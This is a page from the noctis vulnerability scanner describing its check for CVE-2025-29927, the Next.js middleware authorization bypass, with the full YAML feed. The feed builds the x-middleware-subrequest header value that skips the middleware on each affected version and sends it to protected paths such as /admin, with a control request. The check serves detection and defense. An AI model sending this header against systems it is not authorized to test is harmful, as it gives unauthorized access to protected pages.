Next.js — 1 vulnerability check
noctis ships 1 vulnerability check for Next.js, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Next.js Middleware Authorization Bypass
| CVE | CVE-2025-29927 |
|---|---|
| Severity | critical · CVSS 9.1 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/nextjs/CVE-2025-29927.yaml |
Tests Next.js for the x-middleware-subrequest middleware bypass. The feed first confirms the site runs Next.js (X-Powered-By, x-nextjs headers or /_next/static assets), then requests a short list of commonly protected paths (/admin, /dashboard, /account, ...). For each path the middleware guards with a redirect or a 401/403, it repeats the request with an x-middleware-subrequest header naming the middleware (covering the pages/_middleware, middleware and src/middleware layouts of every affected release), then with a random header value as a control. The finding is reported when the bypass header returns the protected Next.js page with 200 while the control is still redirected or denied.
How noctis detects it
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{item}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{item}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{item}} - Checks
itemfor.+→ finding QoD 75: Next.js middleware bypass: GET … returned … without the header and with a random x-middleware-subrequest value (…), but 200 with x-middlewa…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2025-29927
- https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
Feed source — tests/vulnerabilities/nextjs/CVE-2025-29927.yaml
# Next.js Middleware Authorization Bypass — CVE-2025-29927
#
# Next.js marks its own recursive middleware calls with the internal header
# x-middleware-subrequest. Before the fix the header was trusted on external
# requests too, so a client that sends it makes the server skip the middleware
# (authentication redirects, 401/403 guards, IP allowlists). Affected:
# 11.1.4 – 12.3.4, 13.0.0 – 13.5.8, 14.0.0 – 14.2.24, 15.0.0 – 15.2.2
# (fixed in 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3).
#
# The header value that skips the middleware depends on the version:
# < 12.2 pages/_middleware (and pages/<dir>/_middleware for nested files)
# 12.2 – 13.x middleware | src/middleware (value must list the name once)
# 14.x / 15.x the name repeated 5 times (MAX_RECURSION_DEPTH counter)
# The runtime splits the value on ':' and counts/looks up the middleware name,
# so ONE value listing every name 5 times plus the legacy names covers all
# releases (checked on real 12.1.6, 12.2.6, 13.5.6 src/, 15.2.2 → bypass,
# 15.2.3 → still 307).
#
# Detection:
# 1. Fingerprint Next.js on / (redirects followed): X-Powered-By: Next.js,
# x-nextjs-* headers, /_next/static/ or __NEXT_DATA__ in the page.
# 2. For a short list of commonly protected paths, request each one without
# the header. Only paths the middleware guards (301/302/303/307/308/401/403)
# go on.
# 3. Repeat with the bypass header. A 200 Next.js page = middleware skipped.
# 4. Control: same request with a random header value. It must still be
# guarded, which proves the specific middleware name lifted the guard
# (rules out flaky paths and servers that react to the header's mere presence).
# QoD 75: protected page served by the real runtime behaviour.
#
# Known limits (FN): guards outside the path list, apps under a basePath
# (/portal/admin), trailingSlash: true (only /admin/ is guarded), and
# middleware that rewrites to a 200 login page instead of redirecting/denying.
#
# Previous version matched the mock-only text "Admin Dashboard" and sent only
# the pre-12.2 value "middleware" (FN on 13.x–15.x, issue #2408).
#
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2025-29927
# https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
# https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
#
uid: e3b9f1c7-2d4a-4e58-b0f6-7a2c5d1e9b3f
name: "Next.js Middleware Authorization Bypass (CVE-2025-29927)"
description: |
Tests Next.js for the x-middleware-subrequest middleware bypass. The feed
first confirms the site runs Next.js (X-Powered-By, x-nextjs headers or
/_next/static assets), then requests a short list of commonly protected
paths (/admin, /dashboard, /account, ...). For each path the middleware
guards with a redirect or a 401/403, it repeats the request with an
x-middleware-subrequest header naming the middleware (covering the
pages/_middleware, middleware and src/middleware layouts of every affected
release), then with a random header value as a control. The finding is
reported when the bypass header returns the protected Next.js page with
200 while the control is still redirected or denied.
cves: [CVE-2025-29927]
cvss: 9.1
severity: critical
category: auth-bypass
confidence_base: 0.20
tags: [nextjs, middleware, auth-bypass, header-injection, vercel]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-29927"
- "https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw"
- "https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware"
steps:
# ── 1. Next.js fingerprint ────────────────────────────────────────────────
- id: init-home
action: set_var
var_name: home
var_value: {status: 0, body: "", headers: {}}
- id: home
action: http_request
method: GET
path: /
port: "{{port}}"
tls_insecure: true
follow_redirects: true
timeout_secs: 10
store_as: home
- id: fingerprint
action: script
store_as: is_nextjs
code: |
let h = home.headers;
let body = if type_of(home.body) == "string" { home.body } else { "" };
let powered = "x-powered-by" in h && stridx(h["x-powered-by"], "Next.js") >= 0;
let nx_hdr = "x-nextjs-cache" in h || "x-nextjs-prerender" in h || "x-nextjs-stale-time" in h;
powered || nx_hdr || stridx(body, "/_next/static/") >= 0 || stridx(body, "__NEXT_DATA__") >= 0
- id: control-value
action: script
store_as: ctl_value
code: |
"noctis-" + rand_hex(12)
# ── 2–4. Per protected path: baseline, bypass, control ────────────────────
- id: init-path
action: set_var
var_name: base
var_value: {status: 0, body: "", headers: {}}
loop:
var: item
over: ["/admin", "/dashboard", "/account", "/profile", "/settings", "/api/admin", "/api/user", "/"]
- id: init-bypass
action: set_var
var_name: byp
var_value: {status: 0, body: "", headers: {}}
- id: init-control
action: set_var
var_name: ctl
var_value: {status: 0, body: "", headers: {}}
- id: baseline
action: http_request
method: GET
path: "{{item}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 8
store_as: base
condition: "is_nextjs == true"
- id: guard-check
action: script
store_as: guarded
code: |
is_nextjs == true && [301, 302, 303, 307, 308, 401, 403].contains(base.status)
# Middleware names the runtime may use for this path: root files of every
# layout (5x for the 14.x/15.x recursion counter) plus the nested
# pages/<dir>/_middleware names of releases < 12.2.
- id: bypass-value
action: script
store_as: subreq
code: |
let names = [];
for n in ["middleware", "src/middleware"] {
for i in 0..5 { names.push(n); }
}
names.push("pages/_middleware");
let dir = "pages";
for part in split(item, "/") {
if part != "" {
dir = dir + "/" + part;
names.push(dir + "/_middleware");
}
}
let out = "";
for n in names {
if out != "" { out += ":"; }
out += n;
}
out
- id: bypass
action: http_request
method: GET
path: "{{item}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 8
headers:
x-middleware-subrequest: "{{subreq}}"
store_as: byp
condition: "guarded == true"
# The page that came back must be rendered by Next.js itself.
- id: bypass-check
action: script
store_as: bypassed
code: |
let h = byp.headers;
let body = if type_of(byp.body) == "string" { byp.body } else { "" };
let nx = ("x-powered-by" in h && stridx(h["x-powered-by"], "Next.js") >= 0)
|| "x-nextjs-cache" in h || "x-nextjs-prerender" in h || "x-nextjs-stale-time" in h
|| stridx(body, "/_next/static/") >= 0 || stridx(body, "__NEXT_DATA__") >= 0;
guarded == true && byp.status == 200 && nx
- id: control
action: http_request
method: GET
path: "{{item}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 8
headers:
x-middleware-subrequest: "{{ctl_value}}"
store_as: ctl
condition: "bypassed == true"
- id: report
action: match
source: item
pattern: ".+"
condition: "bypassed == true && ctl.status == base.status"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Next.js middleware bypass: GET {{item}} returned {{base.status}} without the header and with a random x-middleware-subrequest value ({{ctl.status}}), but 200 with x-middleware-subrequest naming the middleware"
stop: true